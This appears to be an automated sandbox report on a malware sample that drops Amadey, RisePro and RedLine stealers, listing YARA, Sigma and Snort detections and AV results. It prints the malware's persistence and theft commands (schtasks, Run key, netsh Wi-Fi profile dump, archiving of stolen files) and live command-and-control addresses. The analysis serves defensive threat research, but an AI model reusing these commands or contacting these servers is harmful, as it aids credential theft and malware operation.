0000001D.00000003.2928357410.0000000004E00000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
Process Memory Space: c884f8452a.exe PID: 5596	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
Process Memory Space: c884f8452a.exe PID: 5596	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: MPGPH131.exe PID: 4012	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
Process Memory Space: MPGPH131.exe PID: 4012	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: MPGPH131.exe PID: 3436	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
Process Memory Space: MPGPH131.exe PID: 3436	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: c884f8452a.exe PID: 7988	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
Process Memory Space: RageMP131.exe PID: 1864	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
Click to see the 42 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
52.0.build12.exe.3c0000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
52.0.build12.exe.3c0000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
52.0.build12.exe.3c0000.0.unpack	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x135ca:$a4: get_ScannedWallets 0x12428:$a5: get_ScanTelegram 0x1324e:$a6: get_ScanGeckoBrowsersPaths 0x1106a:$a7: <Processes>k__BackingField 0xef7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1099e:$a9: <ScanFTP>k__BackingField
52.0.build12.exe.3c0000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1048a:$u7: RunPE 0x13b41:$u8: DownloadAndEx 0x9130:$pat14: , CommandLine: 0x13079:$v2_1: ListOfProcesses 0x1068b:$v2_2: get_ScanVPN 0x1072e:$v2_2: get_ScanFTP 0x1141e:$v2_2: get_ScanDiscord 0x1240c:$v2_2: get_ScanSteam 0x12428:$v2_2: get_ScanTelegram 0x124ce:$v2_2: get_ScanScreen 0x13216:$v2_2: get_ScanChromeBrowsersPaths 0x1324e:$v2_2: get_ScanGeckoBrowsersPaths 0x13509:$v2_2: get_ScanBrowsers 0x135ca:$v2_2: get_ScannedWallets 0x135f0:$v2_2: get_ScanWallets 0x13610:$v2_3: GetArguments 0x11cd9:$v2_4: VerifyUpdate 0x1660a:$v2_4: VerifyUpdate 0x139ca:$v2_5: VerifyScanRequest 0x130c6:$v2_6: GetUpdates 0x165eb:$v2_6: GetUpdates
15.2.chrosha.exe.70000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
14.2.amert.exe.360000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.2.SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe.b80000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
3.2.explorha.exe.700000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
2.2.explorha.exe.700000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 4 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe, ProcessId: 4484, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\831840b410.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal, CommandLine: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main, ParentImage: C:\Windows\System32\rundll32.exe, ParentProcessId: 3356, ParentProcessName: rundll32.exe, ProcessCommandLine: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal, ProcessId: 3176, ProcessName: powershell.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe, ProcessId: 4484, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\831840b410.exe

Sigma detected: Folder Compress To Potentially Suspicious Output Via Compress-Archive Cmdlet

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), frack113: Data: Command: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal, CommandLine: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main, ParentImage: C:\Windows\System32\rundll32.exe, ParentProcessId: 3356, ParentProcessName: rundll32.exe, ProcessCommandLine: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal, ProcessId: 3176, ProcessName: powershell.exe

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST, CommandLine: schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST, CommandLine|base64offset|contains: mj,, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe, ParentProcessId: 5596, ParentProcessName: c884f8452a.exe, ProcessCommandLine: schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST, ProcessId: 6420, ProcessName: schtasks.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal, CommandLine: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main, ParentImage: C:\Windows\System32\rundll32.exe, ParentProcessId: 3356, ParentProcessName: rundll32.exe, ProcessCommandLine: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal, ProcessId: 3176, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 5144, ProcessName: svchost.exe

Stealing of Sensitive Information

Sigma detected: Capture Wi-Fi password

Source: Process started

Author: Joe Security: Data: Command: netsh wlan show profiles, CommandLine: netsh wlan show profiles, CommandLine|base64offset|contains: l, Image: C:\Windows\System32\netsh.exe, NewProcessName: C:\Windows\System32\netsh.exe, OriginalFileName: C:\Windows\System32\netsh.exe, ParentCommandLine: "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main, ParentImage: C:\Windows\System32\rundll32.exe, ParentProcessId: 3356, ParentProcessName: rundll32.exe, ProcessCommandLine: netsh wlan show profiles, ProcessId: 5228, ProcessName: netsh.exe

Snort Signatures

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M2 - Source IP: 192.168.2.5 - Destination IP: 193.233.132.56

Timestamp:	04/19/24-03:29:11.518092
SID:	2044696
Source Port:	49719
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Win32/Amadey Stealer Activity M4 (POST) - Source IP: 192.168.2.5 - Destination IP: 193.233.132.56

Timestamp:	04/19/24-03:29:07.505716
SID:	2855239
Source Port:	49717
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Amadey CnC Response M1 - Source IP: 193.233.132.167 - Destination IP: 192.168.2.5

Timestamp:	04/19/24-03:30:04.436794
SID:	2856122
Source Port:	80
Destination Port:	49869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M2 - Source IP: 192.168.2.5 - Destination IP: 193.233.132.56

Timestamp:	04/19/24-03:29:25.875488
SID:	2044696
Source Port:	49768
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (Activity) - Source IP: 192.168.2.5 - Destination IP: 147.45.47.93

Timestamp:	04/19/24-03:29:36.618824
SID:	2046269
Source Port:	49774
Destination Port:	58709
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M2 - Source IP: 192.168.2.5 - Destination IP: 193.233.132.56

Timestamp:	04/19/24-03:29:15.465561
SID:	2044696
Source Port:	49721
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (Token) - Source IP: 147.45.47.93 - Destination IP: 192.168.2.5

Timestamp:	04/19/24-03:30:04.208351
SID:	2046266
Source Port:	58709
Destination Port:	49870
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M2 - Source IP: 192.168.2.5 - Destination IP: 193.233.132.56

Timestamp:	04/19/24-03:29:21.206725
SID:	2044696
Source Port:	49741
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (Activity) - Source IP: 192.168.2.5 - Destination IP: 147.45.47.93

Timestamp:	04/19/24-03:29:31.281244
SID:	2046269
Source Port:	49762
Destination Port:	58709
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (Activity) - Source IP: 192.168.2.5 - Destination IP: 147.45.47.93

Timestamp:	04/19/24-03:29:36.518747
SID:	2046269
Source Port:	49773
Destination Port:	58709
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M2 - Source IP: 192.168.2.5 - Destination IP: 193.233.132.167

Timestamp:	04/19/24-03:30:06.348500
SID:	2044696
Source Port:	49880
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M2 - Source IP: 192.168.2.5 - Destination IP: 193.233.132.167

Timestamp:	04/19/24-03:30:07.998984
SID:	2044696
Source Port:	49886
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN RisePro TCP Heartbeat Packet - Source IP: 192.168.2.5 - Destination IP: 147.45.47.93

Timestamp:	04/19/24-03:29:23.961610
SID:	2049060
Source Port:	49762
Destination Port:	58709
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (Token) - Source IP: 147.45.47.93 - Destination IP: 192.168.2.5

Timestamp:	04/19/24-03:30:16.706571
SID:	2046266
Source Port:	58709
Destination Port:	49918
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Amadey CnC Activity M7 - Source IP: 192.168.2.5 - Destination IP: 193.233.132.56

Timestamp:	04/19/24-03:29:08.315222
SID:	2856151
Source Port:	49718
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (Token) - Source IP: 147.45.47.93 - Destination IP: 192.168.2.5

Timestamp:	04/19/24-03:29:47.530154
SID:	2046266
Source Port:	58709
Destination Port:	49822
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Amadey CnC Activity M3 - Source IP: 192.168.2.5 - Destination IP: 193.233.132.56

Timestamp:	04/19/24-03:29:03.313673
SID:	2856147
Source Port:	49713
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Win32/Amadey Stealer Activity M4 (POST) - Source IP: 192.168.2.5 - Destination IP: 193.233.132.167

Timestamp:	04/19/24-03:30:09.223113
SID:	2855239
Source Port:	49892
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Amadey CnC Activity M3 - Source IP: 192.168.2.5 - Destination IP: 193.233.132.167

Timestamp:	04/19/24-03:34:03.054930
SID:	2856147
Source Port:	50734
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (Token) - Source IP: 147.45.47.93 - Destination IP: 192.168.2.5

Timestamp:	04/19/24-03:29:24.139646
SID:	2046266
Source Port:	58709
Destination Port:	49762
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Amadey CnC Activity M7 - Source IP: 192.168.2.5 - Destination IP: 193.233.132.167

Timestamp:	04/19/24-03:30:08.961575
SID:	2856151
Source Port:	49890
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (External IP) - Source IP: 147.45.47.93 - Destination IP: 192.168.2.5

Timestamp:	04/19/24-03:29:24.405929
SID:	2046267
Source Port:	58709
Destination Port:	49762
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Amadey CnC Response M1 - Source IP: 193.233.132.56 - Destination IP: 192.168.2.5

Timestamp:	04/19/24-03:29:03.820669
SID:	2856122
Source Port:	80
Destination Port:	49713
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (External IP) - Source IP: 147.45.47.93 - Destination IP: 192.168.2.5

Timestamp:	04/19/24-03:29:30.283553
SID:	2046267
Source Port:	58709
Destination Port:	49773
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (Token) - Source IP: 147.45.47.93 - Destination IP: 192.168.2.5

Timestamp:	04/19/24-03:29:40.962203
SID:	2046266
Source Port:	58709
Destination Port:	49809
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (External IP) - Source IP: 147.45.47.93 - Destination IP: 192.168.2.5

Timestamp:	04/19/24-03:29:30.339002
SID:	2046267
Source Port:	58709
Destination Port:	49774
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (Token) - Source IP: 147.45.47.93 - Destination IP: 192.168.2.5

Timestamp:	04/19/24-03:29:30.018405
SID:	2046266
Source Port:	58709
Destination Port:	49773
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (Token) - Source IP: 147.45.47.93 - Destination IP: 192.168.2.5

Timestamp:	04/19/24-03:29:30.089886
SID:	2046266
Source Port:	58709
Destination Port:	49774
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe	Avira: detection malicious, Label: HEUR/AGEN.1305500
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\build12[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1305500
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Avira: detection malicious, Label: TR/AutoIt.zstul
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\cred64[1].dll	Avira: detection malicious, Label: TR/PSW.Agent.szlsq
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\amert[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\clip64[1].dll	Avira: detection malicious, Label: TR/ClipBanker.tbxxw
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe	Avira: detection malicious, Label: HEUR/AGEN.1305500
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\cred64[1].dll	Avira: detection malicious, Label: TR/PSW.Agent.szlsq
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\clip64[1].dll	Avira: detection malicious, Label: TR/ClipBanker.pjgxt
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Avira: detection malicious, Label: TR/AutoIt.zstul
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 52.0.build12.exe.3c0000.0.unpack	Malware Configuration Extractor: RedLine {"C2 url": ["b-stamps.gl.at.ply.gg:30946"], "Bot Id": "Traffic"}
Source: rundll32.exe.3356.8.memstrmin	Malware Configuration Extractor: Amadey {"C2 url": ["http://193.233.132.56/Pneh2sXQk0/index.php"]}

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Virustotal: Detection: 50%	Perma Link
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\clip64[1].dll	ReversingLabs: Detection: 95%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\clip64[1].dll	Virustotal: Detection: 81%	Perma Link
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Virustotal: Detection: 32%	Perma Link
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\build12[1].exe	Virustotal: Detection: 77%	Perma Link
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\clip64[1].dll	ReversingLabs: Detection: 81%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\clip64[1].dll	Virustotal: Detection: 80%	Perma Link
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\cred64[1].dll	ReversingLabs: Detection: 91%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\cred64[1].dll	Virustotal: Detection: 80%	Perma Link
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\sarra[1].exe	Virustotal: Detection: 40%	Perma Link
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	Virustotal: Detection: 50%	Perma Link
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\amert[1].exe	Virustotal: Detection: 42%	Perma Link
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\cred64[1].dll	ReversingLabs: Detection: 71%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\cred64[1].dll	Virustotal: Detection: 78%	Perma Link
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Virustotal: Detection: 50%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Virustotal: Detection: 54%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Virustotal: Detection: 42%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Virustotal: Detection: 32%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Virustotal: Detection: 50%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe	Virustotal: Detection: 77%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	Virustotal: Detection: 77%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Virustotal: Detection: 42%	Perma Link
Source: C:\Users\user\AppData\Roaming\a091ec0a6e2227\clip64.dll	ReversingLabs: Detection: 81%
Source: C:\Users\user\AppData\Roaming\a091ec0a6e2227\clip64.dll	Virustotal: Detection: 80%	Perma Link
Source: C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll	ReversingLabs: Detection: 71%
Source: C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll	Virustotal: Detection: 78%	Perma Link
Source: C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll	ReversingLabs: Detection: 95%
Source: C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll	Virustotal: Detection: 81%	Perma Link

Multi AV Scanner detection for submitted file

Source: SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Virustotal: Detection: 54%			Perma Link
Source: SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	ReversingLabs: Detection: 50%

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\build12[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\amert[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Joe Sandbox ML: detected
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\sarra[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe

Joe Sandbox ML: detected

Source: SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49709 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.5:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.5:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.5.15:443 -> 192.168.2.5:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.5:49776 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.5:49777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.5.15:443 -> 192.168.2.5:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.5.15:443 -> 192.168.2.5:49782 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.29.15:443 -> 192.168.2.5:49801 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.29.15:443 -> 192.168.2.5:49806 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.5:49811 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.5.15:443 -> 192.168.2.5:49813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.5:49825 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.5.15:443 -> 192.168.2.5:49827 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.29.15:443 -> 192.168.2.5:49840 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.5:49874 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.5.15:443 -> 192.168.2.5:49878 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.5:49923 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.5.15:443 -> 192.168.2.5:49925 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.189.173.25:443 -> 192.168.2.5:50555 version: TLS 1.2

Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\Videos\desktop.ini	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\Music\desktop.ini	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\OneDrive\desktop.ini	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2856147 ETPRO TROJAN Amadey CnC Activity M3 192.168.2.5:49713 -> 193.233.132.56:80
Source: Traffic	Snort IDS: 2856122 ETPRO TROJAN Amadey CnC Response M1 193.233.132.56:80 -> 192.168.2.5:49713
Source: Traffic	Snort IDS: 2855239 ETPRO TROJAN Win32/Amadey Stealer Activity M4 (POST) 192.168.2.5:49717 -> 193.233.132.56:80
Source: Traffic	Snort IDS: 2856151 ETPRO TROJAN Amadey CnC Activity M7 192.168.2.5:49718 -> 193.233.132.56:80
Source: Traffic	Snort IDS: 2044696 ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M2 192.168.2.5:49719 -> 193.233.132.56:80
